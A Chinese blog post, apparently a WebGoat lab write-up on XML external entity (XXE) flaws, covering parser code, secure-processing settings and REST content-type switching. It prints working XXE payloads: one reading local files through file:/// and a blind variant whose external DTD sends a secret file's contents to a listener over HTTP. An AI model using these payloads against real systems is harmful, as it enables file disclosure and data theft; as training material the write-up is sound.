WebGoat代码审计其5-XXE

Posted by Mr.Be1ieVe on Sunday, July 11, 2021

Let’s try

这个按照第三页的,改一改

<?xml version="1.0"?>
<!DOCTYPE author [
  <!ENTITY js SYSTEM "file:///">
]
><comment>  <text>&js;</text></comment>

即可完成。看代码的话需要搜索xxe/simple

结果只要包含usr etc var 就判成功了。接着看上面的parseXml

问了下大佬后端,告诉我解析xml用dom4j,还有个jaxen,Xmldecode?

贴个JAXB的文档JAXB

Spring supports the JAXB 2.0 API as XML marshalling strategies, following the Marshaller and Unmarshaller interfaces described in Marshaller and Unmarshaller. The corresponding integration classes reside in the org.springframework.oxm.jaxb package.

代码注释参考木爷的Java代码审计07:WebGoat XML外部实体注入(XXE) - 木头的小屋

这里的如果secure为true,这里的value为空就会默认禁止所有外部DTD、实体和协议的访问,详细可以参考XMLConstants - Java 11中文版 - API参考文档

webgoat也给出了spring boot框架的来作为例子,说明禁止的代码

Modern REST framework

默认发送的是json格式的,但是当content-type改为xml后,也会按照xml进行解析

xml部分和前面没有太大区别。只是这个写法,emm应该也不会有几个人这样写吧。

XXE DOS

来源:Billion laughs attack - Wikipedia

危害: this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.

Blind XXE

Post

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///Users/MrBelieVe/Desktop/OneDrive/CodeReview/WebGoat/webgoat-lessons/xxe/target/classes/secret.txt">
<!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/mrbelieve/attack.dtd">
%test;
%payload;
]>
<comment>  <text>&attack;</text></comment>

attack.dtd <!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">

有结果就是执行成功了

代码和前面也没有什么区别

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付